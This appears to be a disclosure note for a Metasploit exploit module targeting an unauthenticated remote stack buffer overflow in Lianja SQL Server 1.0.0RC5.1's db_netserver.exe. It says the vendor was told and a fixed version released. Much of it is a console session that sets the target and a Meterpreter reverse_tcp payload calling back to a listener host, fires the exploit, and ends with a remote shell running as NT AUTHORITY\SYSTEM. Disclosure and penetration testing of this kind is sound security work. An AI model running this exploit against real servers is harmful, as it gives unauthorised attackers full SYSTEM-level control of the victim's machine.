Exploit module for Lianja SQL 1.0.0RC5.1

This module exploits an unauthenticated remote stack buffer overflow in Lianja SQL Server 1.0.0RC5.1 for Windows. I have informed the Lianja development team of the vulnerability. The latest stable version of 1.0.0RC5.2, released today, is not vulnerable to this issue.

The module has been tested against the Lianja SQL 1.0.0RC5.1 on Windows 7 SP1, Server 2008 SP1, among others. The target settings are Windows version dependent.

The vulnerability exists in the db_netserver.exe binary which is executed by the parent process, allowing this vulnerability to be exploited more than once.

Lianja homepage: http://www.lianja.com/
Lianja SQL 1.0.0RC5.1 download mirror: http://www.softpedia.com/progDownload/Lianja-SQL-Server-Download-230781.html

```
msf3-git (S:0 J:0)  exploit(lianja_db_net) > show options 

Module options (exploit/windows/misc/lianja_db_net):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.90.147   yes       The target address
   RPORT  8001             yes       The target port


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST     192.168.90.1     yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows Server 2008 SP1


msf3-git (S:0 J:0)  exploit(lianja_db_net) > exploit

[*] Started reverse handler on 192.168.90.1:4444 
[*] 192.168.90.147:8001 - Sending Malicious Data
[*] Sending stage (751104 bytes) to 192.168.90.147
[*] Meterpreter session 1 opened (192.168.90.1:4444 -> 192.168.90.147:49158) at 2013-05-29 08:54:13 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 
```